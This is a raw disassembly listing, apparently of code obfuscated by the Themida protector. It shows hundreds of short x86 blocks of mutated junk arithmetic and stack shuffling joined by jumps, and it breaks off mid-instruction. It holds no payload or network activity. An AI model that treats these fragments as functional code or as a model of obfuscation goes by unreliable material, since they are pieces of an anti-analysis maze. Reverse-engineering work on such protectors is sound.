--------------------------------------------------------------------------- loc_550A93: ; CODE XREF: Themida_:00558276j not ebp dec ebp jmp loc_552450 ; --------------------------------------------------------------------------- loc_550A9B: ; CODE XREF: Themida_:00559114j push 161h mov [esp], esp jmp loc_558EBB ; --------------------------------------------------------------------------- loc_550AA8: ; CODE XREF: Themida_:00550A59j push 5691h mov [esp], eax mov eax, esp jmp loc_55490F ; --------------------------------------------------------------------------- loc_550AB7: ; CODE XREF: Themida_:0054F300j push esi mov esi, 557207E4h add ecx, esi pop esi pop eax push 5300h jmp loc_5576DE ; --------------------------------------------------------------------------- loc_550ACB: ; CODE XREF: Themida_:005544CBj push 5F79h mov [esp], ebx mov ebx, 2000000h and eax, ebx push dword ptr [esp] mov ebx, [esp] add esp, 4 push esi jmp loc_54FBFD ; --------------------------------------------------------------------------- loc_550AEC: ; CODE XREF: Themida_:00554269j pop esi add [esp+4], ebp jmp loc_552CAD ; --------------------------------------------------------------------------- loc_550AF6: ; CODE XREF: Themida_:005501D0j push 4AF4h mov [esp], eax mov eax, esp push ebp mov ebp, 4 jmp loc_5542DC ; --------------------------------------------------------------------------- loc_550B0B: ; CODE XREF: Themida_:0055A530j mov edi, ecx mov eax, edi mov edi, [esp] add esp, 4 pop ecx sub edx, 79260A5Ah add edx, eax push 54C7h mov [esp], eax mov eax, 79260A5Ah add edx, eax jmp loc_550465 ; --------------------------------------------------------------------------- loc_550B32: ; CODE XREF: Themida_:00555BC1j neg esi shl esi, 4 sub esp, 4 mov [esp], eax mov eax, 53FC5FE3h neg eax push esi jmp loc_559343 ; --------------------------------------------------------------------------- loc_550B4D: ; CODE XREF: Themida_:00554B96j push ebp mov ebp, 7B445011h xor [esp+4], ebp pop ebp mov eax, [esp] add esp, 4 xor eax, 7B445011h jmp loc_55A1EE ; --------------------------------------------------------------------------- loc_550B68: ; CODE XREF: Themida_:005551E8j mov esp, [esp] push dword ptr [esp] pop edx push ecx mov ecx, esp jmp loc_54F4E4 ; --------------------------------------------------------------------------- loc_550B77: ; CODE XREF: Themida_:0055802Fj add dword ptr [esp], 0FFFFFFFFh not dword ptr [esp] pop esi jmp loc_5516BF ; --------------------------------------------------------------------------- loc_550B84: ; CODE XREF: Themida_:00555F32j push ecx mov ecx, 4 add [esp+4], ecx pop ecx pop edx add edx, 4 push ecx mov ecx, 1996063Ah push ebx mov ebx, 38666B22h inc ebx xor ebx, 5AFF16D4h sub ebx, 382A3DFAh xor ebx, 69E716Ch xor ecx, ebx jmp loc_557DEE ; --------------------------------------------------------------------------- loc_550BBC: ; CODE XREF: Themida_:0054F133j pop esp push dword ptr [esp] pop ecx add esp, 4 jmp loc_54EA5C ; --------------------------------------------------------------------------- loc_550BC9: ; CODE XREF: Themida_:005569DBj pop edx sub edi, 7FC0B3Ch add edi, edx add edi, 7FC0B3Ch add edi, 7209B2h pop edx push edi push dword ptr [esp+4] pop edi pop dword ptr [esp] mov esp, [esp] jmp loc_5599A5 ; --------------------------------------------------------------------------- loc_550BF0: ; CODE XREF: Themida_:00553FA2j push 1298h mov [esp], edx mov edx, 100h and eax, edx jmp loc_54FEF1 ; --------------------------------------------------------------------------- loc_550C04: ; CODE XREF: Themida_:00551ECDj pop ebx push ebx push 4C7Ch jmp loc_5572D3 ; --------------------------------------------------------------------------- loc_550C10: ; CODE XREF: Themida_:0054F86Ej sub al, 0DFh pop ecx push bx push eax mov al, 66h dec al jmp loc_55102C ; --------------------------------------------------------------------------- loc_550C1F: ; CODE XREF: Themida_:00558189j push ebp mov ebp, 6E2C3696h sub edi, ebp pop ebp or edi, 1DBB20A1h xor edi, 0DFBB2CB5h sub ecx, edi pop edi xchg ecx, [esp] pop esp mov [esp], esi mov esi, esp push 13B2h mov [esp], eax push 4 pop eax sub esi, 6DF33771h jmp loc_54EB10 ; --------------------------------------------------------------------------- loc_550C59: ; CODE XREF: Themida_:00555E4Ej sub esp, 4 mov [esp], eax mov eax, 72976483h dec eax neg eax shr eax, 8 jmp loc_55AE68 ; --------------------------------------------------------------------------- loc_550C72: ; CODE XREF: Themida_:00558E72j mov eax, 5EFB49EEh sub esp, 4 mov [esp], ebp mov ebp, 2E835326h push 3FEDh mov [esp], eax mov eax, 463312h xor ebp, eax pop eax push edi mov edi, 58623D23h sub ebp, edi pop edi push ebp not dword ptr [esp] jmp loc_54FBD6 ; --------------------------------------------------------------------------- loc_550CA7: ; CODE XREF: Themida_:005508FBj add esi, eax sub esi, 74AC6543h pop eax sub esi, 611F5058h add esi, eax add esi, 611F5058h sub esi, 5740274Ch push ecx mov ecx, esp add ecx, 4 push ebp mov ebp, 4 sub ecx, ebp pop ebp xor ecx, [esp] xor [esp], ecx xor ecx, [esp] jmp loc_559402 ; --------------------------------------------------------------------------- loc_550CE4: ; CODE XREF: Themida_:00554EA2j add bl, al push edx mov dl, 0BAh jmp loc_55323B ; --------------------------------------------------------------------------- loc_550CEE: ; CODE XREF: Themida_:005527D9j or edx, 794E6E25h xor edx, 797D6F67h mov edi, edx mov edx, [esp] push edi jmp loc_557646 ; --------------------------------------------------------------------------- loc_550D05: ; CODE XREF: Themida_:0055190Fj add edx, 0DE763DC7h mov ebx, edx jmp loc_556043 ; --------------------------------------------------------------------------- loc_550D12: ; CODE XREF: Themida_:0055653Fj push esi push eax push ebx push ebp push 5E69690Ah jmp loc_552567 ; --------------------------------------------------------------------------- loc_550D20: ; CODE XREF: Themida_:005583DAj sub esi, 33FB2851h add esi, ebp add esi, 33FB2851h add esi, 298E6B2Eh pop ebp sub esi, 2 xor esi, [esp] jmp loc_550358 ; --------------------------------------------------------------------------- loc_550D40: ; CODE XREF: Themida_:005534F6j add esp, 4 push ebx push edi sub esp, 4 mov [esp], ebx mov ebx, 45B464A5h mov edi, ebx jmp loc_5555AC ; --------------------------------------------------------------------------- loc_550D5A: ; CODE XREF: Themida_:0055103Bj sub al, bh pop ebx jmp loc_55B026 ; --------------------------------------------------------------------------- loc_550D62: ; CODE XREF: Themida_:005510AFj pop ecx sub ebx, eax jmp loc_5509BF ; --------------------------------------------------------------------------- loc_550D6A: ; CODE XREF: Themida_:0055A224j add edx, esi mov esi, [esp] add esp, 4 jmp loc_554AC6 ; --------------------------------------------------------------------------- loc_550D7A: ; CODE XREF: Themida_:0055A0A3j xor edx, 0EA7EDC9Dh mov eax, edx pop edx dec eax and eax, 300729A9h jmp loc_5596E2 ; --------------------------------------------------------------------------- loc_550D8E: ; CODE XREF: Themida_:0055A5A8j add esp, 4 jmp loc_551D98 ; --------------------------------------------------------------------------- loc_550D96: ; CODE XREF: Themida_:00553C51j add al, 0C1h xor al, 0D8h mov bl, al pop eax sub al, 8Eh add al, bl push ecx jmp loc_558AD9 ; --------------------------------------------------------------------------- loc_550DA7: ; CODE XREF: Themida_:00552D2Fj push eax mov ah, 9Eh or ah, 0DAh inc ah sub ah, 6Dh dec ah neg ah add ah, 6Bh mov cl, ah mov eax, [esp] add esp, 4 push edx mov dh, 66h sub al, 0CEh sub al, dh push ebx mov bl, 0DAh or bl, 86h shl bl, 1 neg bl sub bl, 0FFh jmp loc_54FF22 ; --------------------------------------------------------------------------- loc_550DDA: ; CODE XREF: Themida_:005530EAj mov [esp], ebx mov ebx, esp push esi mov esi, 17135A08h push edx mov edx, 17135A04h sub esi, edx pop edx add ebx, esi pop esi push 254Eh mov [esp], edx push esi mov esi, 0D263D12h sub esi, 35383EE5h xor esi, 0D943D2Dh xor esi, 5C4E7CC6h xor esi, 708256E3h and esi, 50DB7B2Ch xor esi, 674030DCh mov edx, esi pop esi push ebx mov ebx, 0DF745FAh jmp loc_54F6A1 ; --------------------------------------------------------------------------- loc_550E31: ; CODE XREF: Themida_:0055A89Aj push esi push ebx mov ebx, 565E3630h not ebx or ebx, 4BF95B3Ah shl ebx, 1 sub ebx, 0C9807FD9h jmp loc_55128D ; --------------------------------------------------------------------------- loc_550E4D: ; CODE XREF: Themida_:00558B46j add esp, 4 add edx, 4 jmp loc_5593AD ; --------------------------------------------------------------------------- loc_550E5B: ; CODE XREF: Themida_:0054EAD9j xor [esp], ebx xor ebx, [esp] jmp loc_559C85 ; --------------------------------------------------------------------------- loc_550E66: ; CODE XREF: Themida_:0054FD79j shl dh, 5 jmp loc_54EC8F ; --------------------------------------------------------------------------- loc_550E6E: ; CODE XREF: Themida_:00552975j add edx, 4 xor edx, [esp] xor [esp], edx xor edx, [esp] pop esp or edx, eax jmp loc_5555B4 ; --------------------------------------------------------------------------- db 89h, 2 dup(24h) ; --------------------------------------------------------------------------- add dword ptr [esp], 4 mov edx, [esp] jmp loc_55762F ; --------------------------------------------------------------------------- loc_550E94: ; CODE XREF: Themida_:00558DF5j add esi, 4 sub esi, 4 xchg esi, [esp] mov esp, [esp] mov [esp], ebp jmp loc_55145C ; --------------------------------------------------------------------------- loc_550EAE: ; CODE XREF: Themida_:00557754j push 2EF2h mov [esp], esi mov esi, esp push edi jmp loc_54F63B ; --------------------------------------------------------------------------- loc_550EBE: ; CODE XREF: Themida_:00554AD2j pop dword ptr [esp] jmp loc_5571B1 ; --------------------------------------------------------------------------- loc_550EC6: ; CODE XREF: Themida_:00554CCFj xor eax, 5D081690h xor eax, 0D02139F0h xor esi, eax jmp loc_5559E5 ; --------------------------------------------------------------------------- loc_550ED7: ; CODE XREF: Themida_:005510F0j pop ebx add ebp, ecx jmp loc_554FA1 ; --------------------------------------------------------------------------- push dword ptr [edi+1Ch] popf pop ax adc [esp], al pushf jmp loc_54EE69 ; --------------------------------------------------------------------------- loc_550EEE: ; CODE XREF: Themida_:0054F511j push edx mov edx, esp push esi jmp loc_5556FF ; --------------------------------------------------------------------------- loc_550EF7: ; CODE XREF: Themida_:005567CCj push dword ptr [esp+4] mov eax, [esp] add esp, 4 pop dword ptr [esp] pop esp sub [esp], al pushf jmp loc_54EA5C ; --------------------------------------------------------------------------- loc_550F0E: ; CODE XREF: Themida_:00550064j xor esi, [esp] jmp loc_556ABC ; --------------------------------------------------------------------------- loc_550F16: ; CODE XREF: Themida_:00551C7Cj sub esp, 4 mov [esp], edi mov edi, esp sub esp, 4 mov [esp], ecx mov ecx, 340804BAh push eax mov eax, 6D795850h or ecx, eax pop eax xor ecx, 7D795CFEh add edi, ecx mov ecx, [esp] add esp, 4 jmp loc_55697C ; --------------------------------------------------------------------------- loc_550F4B: ; CODE XREF: Themida_:0055448Bj pop ebp push ecx mov ecx, 40E748F6h jmp loc_558A78 ; --------------------------------------------------------------------------- loc_550F57: ; CODE XREF: Themida_:005572C0j push edx mov edx, 4495F55Ch add ecx, edx jmp loc_555684 ; --------------------------------------------------------------------------- loc_550F64: ; CODE XREF: Themida_:0055476Dj pop dword ptr [esp] push ebp mov ebp, 4 add [esp+4], ebp pop ebp pop ebp push esi mov esi, 4 jmp loc_55466D ; --------------------------------------------------------------------------- loc_550F7E: ; CODE XREF: Themida_:005551CEj push dword ptr [esp] pop eax add esp, 4 push eax jmp loc_552098 ; --------------------------------------------------------------------------- loc_550F8E: ; CODE XREF: Themida_:00559EACj push ecx mov ecx, esp add ecx, 4 jmp loc_55191F ; --------------------------------------------------------------------------- loc_550F9C: ; CODE XREF: Themida_:00551C73j pop eax jmp loc_558EC7 ; --------------------------------------------------------------------------- loc_550FA2: ; CODE XREF: Themida_:005500E4j xor ebp, [esp] mov esp, [esp] jmp loc_557D8C ; --------------------------------------------------------------------------- loc_550FAD: ; CODE XREF: Themida_:00559C01j push dword ptr [esp+4] push dword ptr [esp] jmp loc_54ECF6 ; --------------------------------------------------------------------------- loc_550FB9: ; CODE XREF: Themida_:005506F6j mov edx, 8F15C0CBh jmp loc_558247 ; --------------------------------------------------------------------------- loc_550FC3: ; CODE XREF: Themida_:00555E5Fj xor edx, 59F00EFAh add ebx, edx pop edx add ebx, edx jmp loc_5544E6 ; --------------------------------------------------------------------------- loc_550FD3: ; CODE XREF: Themida_:00553BA0j add eax, ecx jmp loc_55A380 ; --------------------------------------------------------------------------- loc_550FDA: ; CODE XREF: Themida_:005503CAj mov cl, bl mov dl, cl pop ecx pop ebx jmp loc_557300 ; --------------------------------------------------------------------------- loc_550FE5: ; CODE XREF: Themida_:0054F555j and dl, 96h sub dl, 1 xor dl, 0A5h add bl, 13h jmp loc_559F39 ; --------------------------------------------------------------------------- loc_550FF6: ; CODE XREF: Themida_:00558172j add esi, 2 jmp loc_551725 ; --------------------------------------------------------------------------- loc_550FFE: ; CODE XREF: Themida_:0055A667j sub ebp, ebx jmp loc_55AD12 ; --------------------------------------------------------------------------- loc_551005: ; CODE XREF: Themida_:005595BEj sub eax, ecx pop ecx add ebx, 752845A5h add ebx, 10DA5FB2h jmp loc_5547CC ; --------------------------------------------------------------------------- push 2C12h mov [esp], edx jmp loc_54EA5C ; --------------------------------------------------------------------------- loc_551026: ; CODE XREF: Themida_:0054FC81j push ecx jmp loc_553505 ; --------------------------------------------------------------------------- loc_55102C: ; CODE XREF: Themida_:00550C1Aj sub esp, 4 mov [esp], ebx mov bh, 3Bh inc bh neg bh add bh, 0B5h jmp loc_550D5A ; --------------------------------------------------------------------------- loc_551040: ; CODE XREF: Themida_:00553752j push esi jmp loc_54EC83 ; --------------------------------------------------------------------------- loc_551046: ; CODE XREF: Themida_:005524BEj add cl, 10h sub al, cl mov cx, [esp] sub esp, 4 jmp loc_558A52 ; --------------------------------------------------------------------------- loc_55105A: ; CODE XREF: Themida_:005501EBj mov [esp], edi push ebx jmp loc_5541C5 ; --------------------------------------------------------------------------- loc_551063: ; CODE XREF: Themida_:00559B86j add ecx, 2 push ecx push dword ptr [esp+4] pop ecx pop dword ptr [esp] mov esp, [esp] movsx cx, al push 3D61h mov [esp], eax mov eax, esp sub esp, 4 mov [esp], edi mov edi, 4 add eax, edi pop edi sub eax, 4 xchg eax, [esp] pop esp jmp loc_5563BE ; --------------------------------------------------------------------------- loc_5510A2: ; CODE XREF: Themida_:005579FAj add esp, 4 jmp loc_55AB74 ; --------------------------------------------------------------------------- loc_5510AD: ; CODE XREF: Themida_:0055B1DBj xor eax, ecx jmp loc_550D62 ; --------------------------------------------------------------------------- loc_5510B4: ; CODE XREF: Themida_:00553603j push ebp mov ebp, 56270A02h mov eax, ebp pop ebp push edi mov edi, 5746481h neg edi add edi, 41027348h shr edi, 8 jmp loc_54FB86 ; --------------------------------------------------------------------------- loc_5510D3: ; CODE XREF: Themida_:00550621j xor esi, [esp] pop esp mov [esp], edx push 6E04h jmp loc_55723D ; --------------------------------------------------------------------------- loc_5510E4: ; CODE XREF: Themida_:00558431j xor eax, 4EF35C18h jmp loc_5562CB ; --------------------------------------------------------------------------- loc_5510EE: ; CODE XREF: Themida_:0054FEC9j mov ecx, ebx jmp loc_550ED7 ; --------------------------------------------------------------------------- loc_5510F5: ; CODE XREF: Themida_:0054FF4Bj push ecx mov cl, 88h mov bh, cl pop ecx shl bh, 4 add bh, 49h add cl, 3 add cl, bh sub cl, 3 pop ebx sub bl, 0A3h push cx jmp loc_5503E1 ; --------------------------------------------------------------------------- loc_551114: ; CODE XREF: Themida_:005562FEj mov ebp, 4 add eax, ebp pop ebp push 368Bh mov [esp], edi jmp loc_559A7F ; --------------------------------------------------------------------------- loc_551129: ; CODE XREF: Themida_:0055140Aj mov [esp], ecx push 308Bh mov [esp], ebx pop ecx sub esp, 4 mov [esp], ebx push ecx sub dword ptr [esp], 8333429h pop ebx add ebx, 8333429h push ebx add dword ptr [esp], 60250E81h pop eax push ebx mov ebx, 4D817608h jmp loc_555028 ; --------------------------------------------------------------------------- loc_55115E: ; CODE XREF: Themida_:0055993Cj add esp, 4 push dx push eax mov al, 1Ch and al, 8Dh xor al, 29h xor al, 5Ah push 3E2Dh mov [esp], ebx jmp loc_556330 ; --------------------------------------------------------------------------- loc_55117C: ; CODE XREF: Themida_:0054FB1Aj pop edx mov ebx, edi jmp loc_5522BF ; --------------------------------------------------------------------------- loc_551184: ; CODE XREF: Themida_:0055A43Bj sub eax, 28E02D7Ah jmp loc_55A7F6 ; --------------------------------------------------------------------------- loc_55118E: ; CODE XREF: Themida_:0055A83Cj pop ebx add ecx, 2 push ecx push dword ptr [esp+4] mov ecx, [esp] push ebx mov ebx, esp push esi mov esi, 54BB7EE1h add esi, 0AB448123h jmp loc_55229D ; --------------------------------------------------------------------------- loc_5511AE: ; CODE XREF: Themida_:00557A01j sub ecx, 60796226h pop ebp xor ecx, [esp] xor [esp], ecx xor ecx, [esp] jmp loc_552510 ; --------------------------------------------------------------------------- push dword ptr [edi+38h] push edx push edi jmp loc_5591F4 ; --------------------------------------------------------------------------- loc_5511CD: ; CODE XREF: Themida_:00553F03j mov ch, ah mov eax, [esp] add esp, 4 add ch, 0C8h sub ch, dl sub ch, 0C8h pop edx add al, ch pop ecx push dx mov dl, 6Eh push eax mov al, 0Ah or dl, al pop eax xor dl, 4Dh neg dl inc dl sub dl, 0A0h sub al, 68h add al, dl sub esp, 4 mov [esp], ebx mov bl, 68h add al, 0Dh add al, bl sub al, 0Dh pop ebx mov dx, [esp] push ecx push esp pop ecx add ecx, 4 add ecx, 2 sub esp, 4 jmp loc_557507 ; --------------------------------------------------------------------------- loc_551229: ; CODE XREF: Themida_:005516AEj add edi, 12D562D9h pop ebx jmp loc_5524E4 ; --------------------------------------------------------------------------- loc_551235: ; CODE XREF: Themida_:00554BAAj push esi mov esi, esp add esi, 4 jmp loc_5503CF ; --------------------------------------------------------------------------- loc_551243: ; CODE XREF: Themida_:00553F59j pop esp shl byte ptr [esp], cl pushf jmp loc_553575 ; --------------------------------------------------------------------------- loc_55124D: ; CODE XREF: Themida_:00552A6Bj add ebx, edi pop edi add esi, ebx pop ebx push ebx mov ebx, 4 sub esi, ebx pop ebx push esi push dword ptr [esp+4] jmp loc_55393D ; --------------------------------------------------------------------------- loc_551266: ; CODE XREF: Themida_:00551DD5j mov esp, [esp] jmp loc_554A97 ; --------------------------------------------------------------------------- loc_55126E: ; CODE XREF: Themida_:0055156Fj pop ebx add edi, ebp mov ebp, [esp] push edx push esp pop edx add edx, 4 jmp loc_5594A2 ; --------------------------------------------------------------------------- loc_551282: ; CODE XREF: Themida_:0055B1BCj push esi mov esi, esp sub esp, 4 jmp loc_550321 ; --------------------------------------------------------------------------- loc_55128D: ; CODE XREF: Themida_:00550E48j mov esi, ebx pop ebx mov edi, esi jmp loc_54F041 ; --------------------------------------------------------------------------- loc_551297: ; CODE XREF: Themida_:00551BB8j pop esp jmp loc_54F506 ; --------------------------------------------------------------------------- loc_55129D: ; CODE XREF: Themida_:0054F1FCj push edi mov edi, 395256D5h jmp loc_55801D ; --------------------------------------------------------------------------- loc_5512A8: ; CODE XREF: Themida_:00558E0Aj mov ebx, [esp] add esp, 4 push 7CAFh mov [esp], eax mov ah, 0CCh sub dl, ah pop eax add al, dl pop dx push small 550Dh jmp loc_54EF74 ; --------------------------------------------------------------------------- loc_5512C8: ; CODE XREF: Themida_:00556824j add edi, esi pop esi or edi, 60D2725Eh shr edi, 8 push esi mov esi, 1B1133A9h sub esi, 1C012E9Fh jmp loc_55562C ; --------------------------------------------------------------------------- loc_5512E5: ; CODE XREF: Themida_:00556FA2j push ecx mov ecx, 320E3352h xor ecx, 651D3E4Eh or ecx, 355D55D0h jmp loc_5570C2 ; --------------------------------------------------------------------------- loc_5512FC: ; CODE XREF: Themida_:005546BCj mov [esp], ebx jmp loc_553DAE ; --------------------------------------------------------------------------- loc_551304: ; CODE XREF: Themida_:005526F8j mov ecx, 782B3B63h shr ecx, 5 push ebx mov ebx, 2C7B6146h and ebx, 3C212254h sub ebx, 4EDF5E76h not ebx or ebx, 46F155BEh xor ebx, 69053128h or ecx, ebx jmp loc_55A208 ; --------------------------------------------------------------------------- loc_551333: ; CODE XREF: Themida_:005576E1j push esi jmp loc_559C1C ; --------------------------------------------------------------------------- loc_551339: ; CODE XREF: Themida_:00552A30j add ebx, 5FB069B7h add ebx, esi jmp loc_55A696 ; --------------------------------------------------------------------------- mov ax, [esp] push 4120h mov [esp], ebp mov ebp, esp jmp loc_557806 ; --------------------------------------------------------------------------- loc_551359: ; CODE XREF: Themida_:0055A1CBj or ebp, 2525147Ch add ebp, 39212F4Ah and ebp, 259D1ED4h xor ebp, 3AF22B7Ah mov eax, ebp jmp loc_55473C ; --------------------------------------------------------------------------- loc_551378: ; CODE XREF: Themida_:005506BAj add al, bh push dword ptr [esp] pop ebx add esp, 4 push edi mov edi, esp add edi, 4 sub edi, 4 xchg edi, [esp] pop esp mov [esp], edx push 7223h mov [esp], eax mov al, 81h mov dl, al mov eax, [esp] jmp loc_54FFA8 ; --------------------------------------------------------------------------- loc_5513AB: ; CODE XREF: Themida_:0055839Aj mov eax, esp add eax, 4 sub esp, 4 jmp loc_555F9A ; --------------------------------------------------------------------------- loc_5513BD: ; CODE XREF: Themida_:00557AEFj sub dh, 26h xor bl, dh pop edx neg bl push ecx mov ch, 0B5h jmp loc_54FB52 ; --------------------------------------------------------------------------- loc_5513CD: ; CODE XREF: Themida_:00555B8Aj add esp, 4 push edi mov edi, 4 add edx, edi pop edi push ebx push ecx mov ecx, 2 mov ebx, ecx mov ecx, [esp] jmp loc_54F66F ; --------------------------------------------------------------------------- loc_5513EA: ; CODE XREF: Themida_:005544F0j pop esp add ebx, 169104B8h jmp loc_558561 ; --------------------------------------------------------------------------- loc_5513F6: ; CODE XREF: Themida_:00551DFDj mov cl, bh pop ebx add cl, 0F5h add cl, 76h push ax push edx mov dh, 0B2h jmp loc_55965C ; --------------------------------------------------------------------------- loc_551409: ; CODE XREF: Themida_:0054F501j pop esp jmp loc_551129 ; --------------------------------------------------------------------------- loc_55140F: ; CODE XREF: Themida_:005515A4j xor ecx, [esp] xor [esp], ecx xor ecx, [esp] pop esp push edx mov edx, 3BCB15F8h jmp loc_55A875 ; --------------------------------------------------------------------------- push dword ptr [esp] mov eax, [esp] push esi jmp loc_558EEB ; --------------------------------------------------------------------------- loc_551430: ; CODE XREF: Themida_:00558061j pop edi jmp loc_555C9B ; --------------------------------------------------------------------------- loc_551436: ; CODE XREF: Themida_:00553FF5j pop ecx push dword ptr [esp] mov eax, [esp] add esp, 4 push ebx jmp loc_5525F9 ; --------------------------------------------------------------------------- loc_551446: ; CODE XREF: Themida_:0054F84Aj pop eax mov edi, [esp] add esp, 4 xchg ecx, edi jmp loc_557214 ; --------------------------------------------------------------------------- loc_551454: ; CODE XREF: Themida_:00557022j mov [esp], ebp jmp loc_5594C9 ; --------------------------------------------------------------------------- loc_55145C: ; CODE XREF: Themida_:00550EA9j push esp push dword ptr [esp] mov ebp, [esp] push edx push esp pop edx add edx, 4 add edx, 4 xchg edx, [esp] pop esp add esp, 4 add ebp, 4 push edx mov edx, 2 jmp loc_5593E8 ; --------------------------------------------------------------------------- loc_55148A: ; CODE XREF: Themida_:00559147j pop ebp jmp loc_5561C1 ; --------------------------------------------------------------------------- loc_551490: ; CODE XREF: Themida_:00550284j add edi, 4 push edi push dword ptr [esp+4] pop edi pop dword ptr [esp] pop esp shr ecx, 0Ah sub esp, 4 mov [esp], edx push ebx pop edx push 36ADh mov [esp], esi push edx xor dword ptr [esp], 7E6F0528h pop esi xor esi, 7E6F0528h jmp loc_55A1AD ; --------------------------------------------------------------------------- loc_5514C4: ; CODE XREF: Themida_:00554EEFj or dh, 0D4h push ecx jmp loc_54FD74 ; --------------------------------------------------------------------------- loc_5514CD: ; CODE XREF: Themida_:00559599j pop ecx dec edi xor edi, 37241A85h xor edi, 1B7F055Ah jmp loc_5589B2 ; --------------------------------------------------------------------------- loc_5514E0: ; CODE XREF: Themida_:00557519j mov dword ptr [edx+30h], 22DA63F6h push eax mov eax, 30h add eax, edx push edx jmp loc_551B96 ; --------------------------------------------------------------------------- loc_5514F5: ; CODE XREF: Themida_:00555B02j xchg edi, [esp] pop esp imul cx push small 5CCEh mov [esp], dx push ax pushf jmp loc_54EA5C ; --------------------------------------------------------------------------- push ebx push ebp push 48472014h pop ebp sub ebp, 0E4EA0451h jmp loc_553436 ; --------------------------------------------------------------------------- loc_55151F: ; CODE XREF: Themida_:0055327Dj xor ecx, 36C0EE1h jmp loc_559495 ; --------------------------------------------------------------------------- loc_55152A: ; CODE XREF: Themida_:005570C9j shl ecx, 1 jmp loc_5588C0 ; --------------------------------------------------------------------------- loc_551531: ; CODE XREF: Themida_:0054F4BEj mov edx, ebx mov ebx, [esp] jmp loc_5546C1 ; --------------------------------------------------------------------------- loc_55153B: ; CODE XREF: Themida_:00552CC9j add edi, 4 xchg edi, [esp] pop esp jmp loc_555F92 ; --------------------------------------------------------------------------- loc_551547: ; CODE XREF: Themida_:00559CAFj push edi push esp pop edi add edi, 4 add edi, 4 xchg edi, [esp] pop esp add esp, 4 or edx, eax shl edx, 1 push edx jmp loc_556FF4 ; --------------------------------------------------------------------------- loc_551567: ; CODE XREF: Themida_:00556160j push ebp jmp loc_55414F ; --------------------------------------------------------------------------- loc_55156D: ; CODE XREF: Themida_:0054F5FAj add ebp, ebx jmp loc_55126E ; --------------------------------------------------------------------------- loc_551574: ; CODE XREF: Themida_:0054FD2Aj mov ebp, esp jmp loc_55492B ; --------------------------------------------------------------------------- loc_55157B: ; CODE XREF: Themida_:00558A10j mov [esp], edi mov edi, 0EA32116h sub edi, 54121751h xor edi, 6CE86AE0h or edi, 3BF10C5Ch xor edi, 0FFF96F79h add ecx, edi pop edi add ecx, 4 jmp loc_55140F ; --------------------------------------------------------------------------- loc_5515A9: ; CODE XREF: Themida_:005585B7j pop esi pop edi not edi xchg edi, esi jmp loc_550061 ; --------------------------------------------------------------------------- loc_5515B4: ; CODE XREF: Themida_:005578C1j sub ebx, eax mov eax, [esp] add esp, 4 shl ebx, 6 dec ebx shl ebx, 6 add ebx, 17F149DEh push edx mov edx, 0F5586862h jmp loc_55807C ; --------------------------------------------------------------------------- loc_5515D7: ; CODE XREF: Themida_:0055AD2Ej mov eax, 4 sub ebp, 7F95345Ch add ebp, eax add ebp, 7F95345Ch mov eax, [esp] add esp, 4 add ebp, 4 jmp loc_5500DE ; --------------------------------------------------------------------------- loc_5515FB: ; CODE XREF: Themida_:00550A2Fj pop esp jmp loc_54EA5C ; --------------------------------------------------------------------------- loc_551601: ; CODE XREF: Themida_:00557502j push ebx push 0E779EDh mov ebx, [esp] jmp loc_551F93 ; --------------------------------------------------------------------------- loc_55160F: ; CODE XREF: Themida_:0055AFBFj mov esp, [esp] imul ecx, eax jmp loc_558C3C ; --------------------------------------------------------------------------- loc_55161A: ; CODE XREF: Themida_:00550A37j sub dh, 5Fh jmp loc_552042 ; --------------------------------------------------------------------------- loc_551622: ; CODE XREF: Themida_:00557A0Cj push 3C34h mov [esp], ecx mov ecx, 0D16B67h push edi sub esp, 4 jmp loc_556927 ; --------------------------------------------------------------------------- loc_551638: ; CODE XREF: Themida_:0054F472j add ebp, 9322BA05h add edx, ebp pop ebp push eax mov eax, 1EFB77D0h push edi push esi mov esi, 5BB0609Bh mov edi, esi pop esi sub eax, edi pop edi push edx mov edx, 55922BA0h sub edx, 5536D725h xor eax, edx jmp loc_553535 ; --------------------------------------------------------------------------- loc_551667: ; CODE XREF: Themida_:00557D87j mov esp, [esp] jmp loc_5592DC ; --------------------------------------------------------------------------- loc_55166F: ; CODE XREF: Themida_:0055637Dj sub eax, 4 xchg eax, [esp] pop esp mov [esp], edx mov edx, esp push ecx mov ecx, 4 add edx, ecx pop ecx jmp loc_553D09 ; --------------------------------------------------------------------------- loc_551689: ; CODE XREF: Themida_:0055982Aj add esp, 4 sub al, bl add al, 52h add al, 4Bh push ecx jmp loc_553EFD ; --------------------------------------------------------------------------- loc_55169B: ; CODE XREF: Themida_:0054EB34j sub esp, 4 mov [esp], ebx mov ebx, 4 sub edi, 12D562D9h add edi, ebx jmp loc_551229 ; --------------------------------------------------------------------------- loc_5516B3: ; CODE XREF: Themida_:005503B0j add dword ptr [esp], 30935974h jmp loc_557E5D ; --------------------------------------------------------------------------- loc_5516BF: ; CODE XREF: Themida_:00550B7Fj add esi, 1 sub esi, 76183B52h push ecx mov ecx, 33C94D47h or ecx, 20E95D93h jmp loc_553072 ; --------------------------------------------------------------------------- mov cx, [esp] push ecx jmp loc_552439 ; --------------------------------------------------------------------------- loc_5516E6: ; CODE XREF: Themida_:00559076j sub bl, 8Ch add bl, 0B4h add bl, 95h add bl, al jmp loc_550935 ; --------------------------------------------------------------------------- loc_5516F6: ; CODE XREF: Themida_:00557E09j push esi mov esi, 7EC95E1Ch sub esi, 442B534Eh jmp loc_5561DD ; --------------------------------------------------------------------------- loc_551707: ; CODE XREF: Themida_:00553D57j xor edx, ebp pop ebp not edx jmp loc_557C58 ; --------------------------------------------------------------------------- loc_551711: ; CODE XREF: Themida_:0054F8E7j push dword ptr [esp] push dword ptr [esp] mov ecx, [esp] add esp, 4 jmp loc_559085 ; --------------------------------------------------------------------------- loc_551725: ; CODE XREF: Themida_:00550FF9j push 1EBh mov [esp], esi push dword ptr [esp+4] push dword ptr [esp] jmp loc_5580C6 ; --------------------------------------------------------------------------- loc_551739: ; CODE XREF: Themida_:00553217j and ebx, 1E7319E3h add ebx, 0EDFE68FEh sub edi, ebx jmp loc_550626 ; --------------------------------------------------------------------------- mov ax, [esp] push 6CD5h mov [esp], eax push esp jmp loc_5530FB ; --------------------------------------------------------------------------- loc_55175E: ; CODE XREF: Themida_:00554FC8j pop edx push esi mov esi, 4 sub ebp, esi jmp loc_5533B4 ; --------------------------------------------------------------------------- loc_55176C: ; CODE XREF: Themida_:00553546j sub eax, 0A475605h pop ecx jmp loc_554506 ; --------------------------------------------------------------------------- loc_551777: ; CODE XREF: Themida_:0055971Bj push ebx jmp loc_559EBD ; --------------------------------------------------------------------------- loc_55177D: ; CODE XREF: Themida_:0054F0BAj mov [esp], edx mov edx, 129E6510h xor [esp+4], edx push dword ptr 